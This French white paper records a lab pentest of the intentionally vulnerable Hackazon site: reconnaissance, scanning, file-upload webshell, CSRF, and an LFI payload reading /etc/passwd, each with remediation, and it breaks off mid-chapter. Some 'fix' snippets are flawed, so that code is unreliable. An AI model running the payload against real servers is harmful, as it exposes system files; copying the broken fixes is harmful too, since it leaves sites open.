Académique Documents
Professionnel Documents
Culture Documents
Version 1.0
ISBN : 978-2-9558088-0-1
Rdacteur :
Thibault MILLANT
tmillantts1@yahoo.fr
Promo 2016
Superviseur :
Jean-Franois BRAUD
jean-francois.beraud@avisto.com
28 Juillet 2016
Rsum
Ce livre blanc fournissant des recommandations sur la scurisation dun site web et dtaillant les diffrentes attaques pour amliorer la comprhension des dangers prsents sur le Web.
Cela fait des annes que lon entend parler des vulnrabilits, telles que les Injections SQL, CrossSite Scripting, Cross-Site Request Forgery, etc. Elles restent pourtant trs prsentes sur le Web.
Parce que mconnues, ou mal comprises, nous avons souhaiter rdiger ce document afin dexpliquer
leurs principes, via le cas concret du site Hackazon, et de proposer diffrents moyens de scurisation de
ces failles courantes pouvant avoir un impact fort pour la scurit des usagers ou des administrateurs.
II
Architecte de scurit . . . . . . . . . . . . . . . . . . .
Expert en scurit des systmes dinformation . . . . .
Expert des tests dintrusion . . . . . . . . . . . . . . . .
Responsable de la scurit des systmes dinformation
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
Environnement
3
4
4
4
6
6
8
1 Phase 1 : Reconnaissance
1.1 Reconnaissance Passive . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.2 Sniffing rseau . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.3 Reconnaissance Active . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10
10
10
11
2 Phase 2 : Scanning
2.1 Arachni : Scanner de Vulnrabilits Web . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.1.1 Prsentation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.1.2 Rsultats . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12
12
12
12
14
16
17
IV
18
6 "Upload"
6.1 Prsentation
6.2 Dcouverte .
6.3 Exploitation .
6.4 Scurisation .
6.5 Surveillance .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
19
19
19
19
19
21
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
22
22
23
23
23
23
24
24
24
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
Tests dintrusion
7.4.4 Header customis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
24
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
25
25
25
25
26
27
9 Path Traversal
9.1 Prsentation
9.2 Dcouverte .
9.3 Exploitation .
9.4 Correctif . . .
9.5 Surveillance .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
29
29
29
29
30
31
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
32
32
32
32
33
33
33
34
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
35
35
35
35
36
37
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
38
38
38
39
39
39
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
Conclusion
Thibault MILLANT
40
Juillet 2016
Premire partie
Tests dintrusion
0.1
Architecte de scurit
Larchitecte de scurit structure les choix techniques, technologiques et mthodologiques dun ensemble (systme dinformation, logiciel) rpondant des exigences de scurit, en cohrence avec les activits quivalentes ralises au niveau de la solution qui
lintgre. Il sassure de la dclinaison optimale des exigences techniques dentre (fonctionnalits offrir, contraintes de performance, dinteroprabilit, dinterchangeabilit, de robustesse, dintgration de solutions sur tagre, dexportabilit), selon des critres de cot, defficacit, de stabilit, de matrise, de niveau de risque, de respect des standards, daptitude
la production, au dploiement et la maintenance MCO (maintien en conditions oprationnelles) et MCS (maintien en conditions de scurit).
Il identifie et valide la cartographie du systme dinformation et notamment sassure que
les hypothses de scurit relatives lenvironnement de son architecture sont clairement
nonces et prises en compte dans sa conception. Il veille ce que les exigences de scurisation applicables aux diffrents constituants de son architecture ou aux outils permettant
de la produire soient effectivement dclines. Il fournit la connaissance de ltat de lart des
architectures prenant en compte les dveloppements futurs et il prpare les dossiers de
conception et de justification.
(Source : ANSSI)
Thibault MILLANT
Juillet 2016
Tests dintrusion
0.2
0.3
0.4
Thibault MILLANT
Juillet 2016
Deuxime partie
Environnement
Tests dintrusion
0.5
Le serveur cible
Sur le serveur cible, on trouve la dernire version dUbuntu, la version Ubuntu 15.10 Wily 1 . La version du kernel 2 est la 4.2.0-27.
On y trouve une infrastructure LAMP 3 avec un serveur Web Apache qui hberge le site Web Hackazon (comme recommand sur le Wiki 4 de ce dernier).
La version dApache est la 2.4.12 cre le 24 Juillet 2015.
La version de PHP est la 5.16.11 et celle de MySQL est la 5.6.28.
Le serveur a t configur en IP fixe pour y faciliter laccs : 192.168.100.123
0.5.1
Hackazon
Hackazon est un site dvelopp par Rapid7, qui utilise des technologies Web actuelles (JSON, XML,
GwT, AMF, AJAX, API REST, etc...) et contenant des vulnrabilits de type injection SQL, CSRF, XSS,
Inclusion, etc...
Il est ainsi possible de sessayer ou de se perfectionner la scurit informatique, notamment aux Tests
dintrusion en recherchant ces vulnrabilits.
Hackazon a t install avec la configuration recommand sur le Wiki 5 .
Voici le fichier de configuration du site :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ServerName hackazon.lc
DocumentRoot /var/www/hackazon/web
<Directory />
Options FollowSymLinks
AllowOverride All
Order deny,allow
Allow from all
</Directory>
<Directory /var/www/hackazon/web/>
Options Indexes FollowSymLinks MultiViews
AllowOverride All
Order allow,deny
Allow from all
</Directory>
1. http://www.ubuntu.com/
2. Noyau Linux
3. Linux Apache MySQL PHP
4. https://github.com/rapid7/hackazon/blob/master/docs/InstallationGuide.pdf
https://github.com/rapid7/hackazon/wiki/Tutorial
5. https://github.com/rapid7/hackazon/wiki/Tutorial
Thibault MILLANT
Juillet 2016
Tests dintrusion
# Global configuration
#
# These need to be set in /etc/apache2/envvars
User ${APACHE_RUN_USER}
Group ${APACHE_RUN_GROUP}
# ErrorLog: The location of the error log file .
# If you do not specify an ErrorLog directive within a <VirtualHost>
# container, error messages relating to that virtual host will be
# logged here. If you do define an error logfile for a <VirtualHost>
# container, that hosts errors will be logged there and not here.
#
ErrorLog ${APACHE_LOG_DIR}/error.log
#
# LogLevel: Control the severity of messages logged to the error_log.
# Available values: trace8, ... , trace1, debug, info, notice , warn,
# error , crit , alert , emerg.
# It is also possible to configure the log level for particular modules, e.g.
# "LogLevel info ssl :warn"
#
LogLevel warn
# Sets the default security model of the Apache2 HTTPD server. It does
# not allow access to the root filesystem outside of /usr/share and /var/www.
# The former is used by web applications packaged in Debian,
# the latter may be used for local directories served by the web server. If
# your system is serving content from a subdirectory in /srv you must allow
# access here, or in any related virtual host.
<Directory />
Options FollowSymLinks
AllowOverride None
Require all denied
</Directory>
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>
<Directory /var/www/>
Options Indexes FollowSymLinks
AllowOverride None
Require all granted
</Directory>
#
# The following directives define some format nicknames for use with
# a CustomLog directive.
#
# These deviate from the Common Log Format definitions in that they use %O
# (the actual bytes sent including headers) instead of %b (the size of the
# requested file ) , because the latter makes it impossible to detect partial
# requests.
#
# Note that the use of %{XForwardedFor}i instead of %h is not recommended.
# Use mod_remoteip instead.
#
LogFormat "%v:%p %h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{UserAgent}i\"" vhost_combined
LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{UserAgent}i\"" combined
LogFormat "%h %l %u %t \"%r\" %>s %O" common
LogFormat "%{Referer}i > %U" referer
LogFormat "%{Useragent}i" agent
Thibault MILLANT
Juillet 2016
Tests dintrusion
0.6
Lordinateur dattaque
Le second ordinateur fait tourner la dernire version de Kalilinux 6 (descendant de Backtrack) afin
dauditer la scurit du site Hackazon. Cest une rolling release 7 .
Les mises jour du serveur sont effectues une fois par semaine.
Plusieurs outils ont t installs pour complter la distribution, notamment des scanners de vulnrabilits tels que Nessus 8 et Arachni 9 .
6.
7.
8.
9.
https://www.kali.org/
Principe de mise jour en continue, sans besoin de rinstaller.
https://www.tenable.com/products/nessus-vulnerability-scanner
http://www.arachni-scanner.com/
Thibault MILLANT
Juillet 2016
Troisime partie
10
Chapitre 1
Phase 1 : Reconnaissance
La phase de reconnaissance a pour but de rcuprer, par divers moyens, le plus grand nombre
dinformations possibles, relativement discrtement, dans le but davoir une bonne vision des diffrents
points dentre, des points vulnrables, etc...
Cest la premire phase, il est donc important de ne pas se faire reprer, que ce soit physiquement
ou numriquement, afin de ne pas compromettre le reste de lopration.
1.1
Reconnaissance Passive
Lide est de rcuprer des informations sur la cible sans engager dchange avec celle-ci. Cest un
moyen de rester discret, dans lombre, avant de passer une phase plus agressive.
La reconnaissance passive nimplique pas forcment un ordinateur. Cela peut consister se rendre
devant la socit pour observer les horaires de travail des personnes cibles, afin de pouvoir effectuer
des actions sans quelle puisse le remarquer (ralentissements ou comportements anormaux de leur
poste de travail).
Google est aussi une grande source dinformation afin de collecter des dtails sur la compagnie, les
employers, etc.
Le Social Engineering 1 et le Dumpster diving 2 peuvent aussi tre utilis pour collecter des informations souvent trs utiles en vue deffectuer une intrusion.
1.2
Sniffing rseau
Le sniffing rseau consiste observer et rcuprer les changes qui se font sur le rseau. Il faut
donc avoir un accs au rseau.
Contrairement au scanner rseau (actif), le sniffing rseau est un procd passif. Il nimplique pas daction de la part de lattaquant vers la cible.
Le hacker se place en coute afin dobtenir un maximum dinformations.
1. Lingnierie sociale (ou social engineering en anglais) est une forme dacquisition dloyale dinformation et descroquerie,
utilise en informatique pour obtenir dautrui, un bien, un service ou des informations clefs. Cette pratique exploite les failles humaines et sociales de la structure cible, laquelle est li le systme informatique vis. Utilisant ses connaissances, son charisme,
limposture ou le culot, lattaquant abuse de la confiance, de lignorance ou de la crdulit des personnes possdant ce quil tente
dobtenir.
(Source : Wikipdia)
2. Principe de fouiller dans les poubelles, dchets, etc. professionnels ou personnels afin de rcuprer des informations.
11
Tests dintrusion
1.3
Reconnaissance Active
La reconnaissance active applique un change entre le hacker et la cible afin dobtenir de nombreuses informations, telles que des adresses IP, les services utiliss, les OS 3 utiliss.
De part leur cot actif, les risques de dtection sont plus importants que lors dune reconnaissance passive.
En effet, des outils comme Telnet, nslookup, netcat, etc... vont communiquer directement avec la cible,
via lenvoi de requtes. Nous laissons donc des traces de nos changes, et nous nous "faisons connatre"
en initiant une communication (log de connexion telnet).
Ce type de reconnaissances peut nous informer sur les diverses scurits (portes verrouilles, systmes douverture de portes, etc.)
Vu que je me suis charg de faire linstallation, je navais pas besoin deffectuer cette partie, ayant
dj toutes les informations.
Jai tout de mme effectu cette phase de reconnaissance afin de montrer comment rcuprer les
diverses informations.
3. Operating System
Thibault MILLANT
12
Juillet 2016
Chapitre 2
Phase 2 : Scanning
Avec les informations obtenues dans la phrase prcdente, nous allons scanner les diffrentes
adresses IPs, services.
Pour cela, nous avons recourt diffrents types de scanner, dont des scanners de vulnrabilits.
Ces derniers peuvent tre gnralistes ou plus ou moins spcialiss.
Lobjectif consistait auditer le site Web Hackazon dploy pour loccasion.
Jai donc principalement utilis des scanners de vulnrabilits orients Web, tels que Nikto 1 , ou Arachni,
mais aussi OpenVAS 2 et Nessus, plus gnralistes.
Prsentation
Arachni est framework complet, modulaire, de haute performance, crit en Ruby, visant
aider les pentesters et les administrateurs valuer la scurit des applications Web.
Il est intelligent, il se forme par le suivi et lapprentissage du comportement de lapplication Web au cours du processus de scan et est en mesure deffectuer une mta-analyse en
utilisant un certain nombre de facteurs afin dvaluer correctement la fiabilit des rsultats et
intelligemment identifier (ou viter) les faux-positifs.
Contrairement dautres scanners, il tient compte de la nature dynamique des applications Web, permet de dtecter les changements causs lors dun dplacement travers les
chemins de la complexit cyclomatique dune application web et est capable de sajuster en
consquence. De cette faon, les vecteurs dattaque / dentre qui seraient autrement indtectables par les non-humains peuvent tre traits de faon transparente.
En outre, en raison de son intgration dans lenvironnement du navigateur, il peut galement contrler et dinspecter le code ct client, et supporte des applications web trs
compliques qui font un usage intensif des technologies telles que JavaScript, HTML5, manipulation DOM et AJAX.
Enfin, il est suffisamment polyvalent pour couvrir un grand nombre de cas dutilisation,
allant dun utilitaire de scanner en ligne de commande simple, un rseau global de scanners de haute performance, une bibliothque Ruby permettant audits scriptes, un multiutilisateur multi-scan web plateforme de collaboration.
(Source : arachni-scanner.com)
2.1.2
Rsultats
Le premier scan du site web e-commerce Hackazon a dur 11 jours, 13 heures, 34 minutes et 36
secondes et a test 46 197 pages.
1. https://www.cirt.net/Nikto2
2. http://www.openvas.org/
13
Tests dintrusion
Il a envoy 30 784 989 requtes HTTP, soit 32,701 requtes par secondes.
Les failles dtectes sont classes en deux types : les trusted correspondant aux failles considres
comme fiables, et les untrusted pouvant tre des faux positifs, car le serveur prsentait un comportement
anormale ou pouvait subir des interfrences dues des actions provenant dune utilisation extrieure
au scanner.
Dans ces catgories, on retrouve les failles prsentant un risque lev, moyen, ou faible, et dordre informationnel.
Pour les failles trusted, on obtient 17 failles prsentant un risque lev, 3 prsentant un risque moyen,
1381 prsentant un risque faible, et 30 dordre informationnel.
Pour les failles untrusted, on obtient 1 faille prsentant un risque lev, 4 prsentant un risque moyen,
et 1 prsentant un risque faible.
Nous allons faire, dans la 4e partie de ce document, un recueil dtaill des failles de niveau "risque
lev".
Thibault MILLANT
14
Juillet 2016
Chapitre 3
15
Tests dintrusion
Vous trouverez dans ce document diffrentes mthodes permettant dobtenir des accs sur le serveur via lexploitation de diffrentes vulnrabilits.
Un autre moyen dobtenir des accs repose sur les informations de la machine cible rcuprs. En
effet, nous avons, dans les premires phases, rcupr des informations sur les services et logiciels
tournant sur la machine cible, ainsi que leur version.
Nous pouvons nous rendre sur des sites comme www.exploit-db.com afin de rcuprer les exploits
connus associs aux versions des services de la cible et les excuter. En effet, sur une architecture de
production, les mises jour sont souvent appliques avec beaucoup de retard car il faut sassurer que
ces dernires ne vont pas dgrader le fonctionnement du serveur de production. Il est donc fortement
possible que les exploits soient toujours efficaces.
Nous pouvons aussi utiliser le framework Metasploit afin dutiliser un grand nombre dexploits, ou de
crer nos propres payloads 6 .
6. En informatique, on utilise ce terme au figur pour dsigner la partie du code excutable dun virus qui est spcifiquement
destine nuire (par opposition au code utilis par le virus pour se rpliquer notamment). (Source : Wikipdia)
Thibault MILLANT
16
Juillet 2016
Chapitre 4
1. Dans un logiciel, une porte drobe (de langlais backdoor, littralement porte de derrire) est une fonctionnalit inconnue
de lutilisateur lgitime, qui donne un accs secret au logiciel. (Source : Wikipdia)
2. En informatique, netcat est un utilitaire permettant douvrir des connexions rseau, que ce soit UDP ou TCP. Il est conu
pour tre incorpor aisment dans un large panel dapplications. En raison de sa polyvalence, netcat est aussi appel le couteau
suisse du TCP/IP . Il existe sur plusieurs systmes dexploitation et sutilise en ligne de commande. (Source : Wikipdia)
3. Une interface systme (shell en anglais) est une couche logicielle qui fournit linterface utilisateur dun systme dexploitation.
Il correspond la couche la plus externe de ce dernier. Linterface systme est utilise comme diminutif de linterface utilisateur
du systme dexploitation. (Source : Wikipdia)
17
Chapitre 5
1. Lanalyse forensique en informatique signifie lanalyse dun systme informatique aprs incident. Par exemple une analyse
forensique peut tre effectue aprs une attaque de virus, ou plus difficilement, aprs lintrusion dun rootkit. (Source : Wikpdia)
2. Systme de Dtection dIntrusions
3. Laudit Red Team privilgie une valuation raliste de la robustesse dune organisation dans son ensemble et face des
attaquants dtermins. Elle consiste crer une quipe dattaquant, dans le plus grand secret, et de lui faire attaquer lorganisation
afin dvaluer la capacit de lorganisation, notamment du service informatique, dtecter lattaque et se dfendre en temps rel.
18
Quatrime partie
19
Chapitre 6
"Upload"
6.1
Prsentation
La faille Upload permet un attaquant duploader un fichier malicieux sur le serveur pour obtenir un
accs, excuter des commandes, ou en prendre le contrle.
Dans notre cas, il est aussi possible de saturer le disque dur en crant, via un script, de multiples
comptes, uploadant chacun un fichier de grande taille en tant quavatar.
On retrouve cette faille au niveau des formulaires dupload de fichiers, avec les balises <form> et
<input type=file>.
6.2
Dcouverte
La faille a t dcouverte manuellement. Lupload de fichier est souvent un point sensible sur les
sites Web. Cest donc tout naturellement que jai test la robustesse dHackazon sur ce point.
6.3
Exploitation
La premire chose faire est de se crer un compte sur le site. Ensuite, on se rend sur la page
ddition du profil afin de choisir une photo de profil (un avatar). Le formulaire nous permet duploader
un fichier, une image est logiquement attendue. Cependant, il ny a pas de vrification concernant lextension du fichier upload. De ce fait, il est trs simple duploader un fichier PHP qui va tre excut par
le serveur. Ainsi, nous pouvons uploader un webshell 1 . Le webshell ainsi upload est accessible en se
rendant sur lURL pointant sur le fichier, disponible en regardant les sources.
6.4
Scurisation
Dsactiver linterprtation de PHP dans le dossier qui stocke les images uploades sur le profil de
lutilisateur. Ainsi, uploader un shellcode naura pas dincidence, ne pouvant tre interprt. Voici un
exemple pour un serveur Apache, rajouter dans le dossier /etc/apache2/sites-available/ dans le fichier
relatif au site web :
1
2
3
4
5
6
7
8
9
Listing 6.1 Configuration Apache pour empcher linterprtation des fichiers PHP dans un rpertoire
spcifique
1. Un webshell est un script crit en langage web permettant lexcution de commandes shell
20
Tests dintrusion
Cot client, il est extrmement compliqu de parfaitement bloquer lupload arbitraire / non dsir de
fichiers.
Il est cependant possible de complexifier le procd pour un attaquant. Plusieurs procds peuvent tre
mis en place :
On peut vrifier lextension du fichier upload lors de lupload, et refuser tous fichiers nayant pas lextension jpeg, jpg, png, bmp, etc... Cette technique peut tre bypass en ajoutant deux extensions au fichier
(fichier.php.jpeg), mais le site Hackazon sen protge en renommant le point de la premire extension
avec un underscore (fichier_php.jpeg).
Il est utile dinterdire les fichiers non attendus en utilisant une whitelist contenant les extensions attendues.
1
2
3
4
5
6
7
8
9
10
11
<?php
// On cree un tableau specifiant les extensions attendues
$tab_extensions = array( .png, . gif , .jpg , .jpeg , .bmp);
// On recupere lextension
$extension = strrchr ($_FILES[image][name], . ) ;
if (! in_array($extension, $extensions)) // Si l extension nest pas dans le tableau
{
$erreur = Vous devez uploader un fichier de type png, gif , jpg, jpeg ou bmp.;
}
?>
<?php
// Taille max en octets
$taille_max = 1048576;
// On recupere la taille du fichier
$taille = filesize ($_FILES[avatar][ tmp_name]);
if ( $taille >$taille_max) {
$erreur = Le fichier est trop gros ... ;
}
?>
Thibault MILLANT
21
Juillet 2016
Tests dintrusion
<?php
$fichier = strtr ( $fichier ,
AAAAAACEEEEIIIIOOOOOUUUUYaaaaaaceeeeiiiiooooouuuuyy);
// On recupere le nom formate dans la variable $fichier
// En dessous, il y a l expression reguliere qui remplace
// tout ce qui nest pas une lettre non accentuees ou un chiffre
// dans $fichier par un tiret "" et qui place le resultat dans $fichier .
$fichier = preg_replace( /([^. az09]+)/i, , $fichier ) ;
?>
6.5
Surveillance
Thibault MILLANT
22
Juillet 2016
Chapitre 7
Prsentation
Le nom CSRF vient de Cross-Site Request Forgery qui, si lon essaie de donner une dfinition en franais, signifie Falsification de requte inter-sites. On nest pas [beaucoup] plus
avanc, je sais.
En fait, il sagit deffectuer une action visant un site ou une page prcise en utilisant lutilisateur comme dclencheur, sans quil en ait conscience.
On va deviner un lien quun utilisateur obtient habituellement, et tout simplement faire en
sorte quil clique lui-mme sur ce lien.
(Source : Le blog du hacker)
23
Tests dintrusion
7.1.1
Fonctionnement
En reprenant lhistoire ci-dessus, on peut imaginer que sur un blog donn, le lien de suppression dun article soit le suivant :
http://www.monblog.fr/del.php?id=1
Ici, id=1 signifie quon souhaite supprimer larticle dont lidentifiant est 1, typiquement il
sagit du premier article.
Si maintenant un visiteur non connect la page dadministration clique sur un tel lien, il
aura un message du type :
Vous navez pas les droits pour supprimer cet article, veuillez vous connecter et ressayer.
Normal, un visiteur quelconque na pas le droit dditer ou supprimer les articles dun blog
qui ne lui appartient pas.
Mais si maintenant le visiteur quelconque connat ce lien, il lui suffit denvoyer le lien
ladministrateur en faisant en sorte que ce dernier clique.
Que se passe-t-il une fois que ladministrateur clique ?
Le lien de suppression sexcute avec succs car ladministrateur est bien connect et
son article se retrouve ainsi supprim.
(Source : Le blog du hacker)
7.2
Dcouverte
La faille a t dcouverte lors dun scan du site Web, effectu par Arachni.
Ce scanner a test de nombreuses dformations de lURL pour provoquer des comportements anormaux (diffrents types de failles : Path Traversal, File Inclusion, OS Command Injection, etc.).
7.3
Exploitation
Arachni, dans son rapport, explique quil est possible de trouver une faille de type CSRF au niveau
de la partie wishlist dHackazon (http://hackazon.lc/wishlist/).
Cependant, je ne suis pas parvenu exploiter la vulnrabilit. Il est possible que cette alerte soit un
faux positif.
Cette partie du site utilise un systme de tokens, gnralement utilis pour se protger de cette faille,
comme dtaill dans la partie suivante.
7.4
Correctif
Une premire mesure est de vrifier si le header dorigine est prsent et sil correspond celui du
site dorigine.
Il est ensuite possible de vrifier que le referer correspond bien au site dorigine.
Thibault MILLANT
24
Juillet 2016
Tests dintrusion
7.4.1
chaque chargement de page, on gnre un token alatoire. Ce token est unique pour chaque utilisateur, sa valeur alatoire est de taille importante, et gnr avec un gnrateur de nombre alatoire
cryptographique.
Ce token est ajout un champ cach dun formulaire, ou pass par lURL si le chargement dune
page se fait avec la mthode GET.
Le serveur rejette la requte si la validation du token choue.
Pour PHP et Apache, on peut utiliser CSRFProtector Project.
7.4.2
Si stock le token dans une session est problmatique, il est possible denvoyer un nombre alatoire
via un cookie et via un paramtre de la requte afin que le serveur puisse vrifier la validit de la requte
si les deux informations correspondent.
7.4.3
Aprs une authentification russie, le serveur gnre un token unique avec lidentifiant de lutilisateur,
un timestamp, et un sel (nonce), en utilisant une cl unique prsente seulement sur le serveur. Ce token
est envoy au client et embarqu dans un champ cach.
A chaque requte, le serveur lit et dchiffre le token avec la cl utilise pour le gnrer.
Une fois dchiffr, lidentifiant de lutilisateur est compar avec lutilisateur actuellement connect, et le
timestamp avec le temps actuel.
7.4.4
Header customis
Thibault MILLANT
25
Juillet 2016
Chapitre 8
Prsentation
La faille LFI tient son nom de Local File Inclusion (Inclusion de fichier local). Elle permet
un utilisateur dinclure des fichiers locaux (prsent sur le serveur cible) partir dune URL.
Ces fichiers peuvent trs bien tre en dehors du rpertoire racine du site web. Des fichiers sensibles comme ceux contenant des donnes personnelles et notamment des mots
de passe peuvent donc tre inclus et rcuprs.
On a souvent besoin dinclure un fichier dans une page de faon tout fait lgitime
comme sur lexemple qui suit :
http ://exemple.com/vulnerable.php ?page=menu.php
Seulement le fait de vrifier si ce fichier existe ne suffit pas, il faut sassurer quil soit celui
que lon veut.
Notez que cette faille permet galement dexcuter du code PHP sur le serveur distant.
(Source : Le Blog du Hacker)
8.2
Dcouverte
La faille a t dcouverte lors dun scan du site Web, effectu par Arachni.
Ce scanner a test de nombreuses dformations de lURL pour provoquer des comportements anormaux (diffrents types de failles : Path Traversal, File Inclusion, OS Command Injection, etc.).
8.3
Exploitation
Habituellement cette faille peut permettre de rcuprer des informations comme les noms des utilisateurs de votre serveur et leurs mot de passe :
http ://hackazon.lc/account/help_articles.php ?page=/etc/passwd%00
On indique le fichier que lon souhaite afficher. Le %00 de fin correspond au caractre nulle, indiquant la fin de la chane.
26
Tests dintrusion
On peut galement rcuprer le code source dune page PHP ou excuter des commandes PHP
distance en les postant vers une url spcifique.
Dans le pire des cas, un shell PHP peut tre install sur votre serveur afin dautoriser un utilisateur
excuter des commandes distance.
On a accs dautres fichiers de configuration, comme les fichiers SSH. Trs utile pour connatre
les utilisateurs autoriss se connecter.
Il existe aussi les RFI 1 consistant rediriger vers une page prsente sur un autre serveur.
La page prcdente ne semble pas faillible aux RFIs.
8.4
Correctifs
Afin de assainir notre URL, nous pouvons ajouter ces lignes dans notre fichier PHP :
1
2
3
4
5
6
7
<?php
if ( isset ($_GET[page])) {
include ( "$_GET[page]". ".php");
} else {
include ( " error .php");
}
?>
Thibault MILLANT
27
Juillet 2016
Tests dintrusion
Une autre technique est donc de tester le nom pass en paramtre, et dafficher la page en fonction :
1
2
3
4
5
6
7
<?php
if ($_GET[page] == "delivery") {
include ( " delivery .php");
} else {
include ( " error .php");
}
?>
8.5
Surveillance
Thibault MILLANT
28
Juillet 2016
Tests dintrusion
Thibault MILLANT
29
Juillet 2016
Chapitre 9
Path Traversal
9.1
Prsentation
A path traversal attack (also known as directory traversal) aims to access files and directories that are stored outside the web root folder. By manipulating variables that reference
files with dot-dot-slash (../) sequences and its variations or by using absolute file paths, it
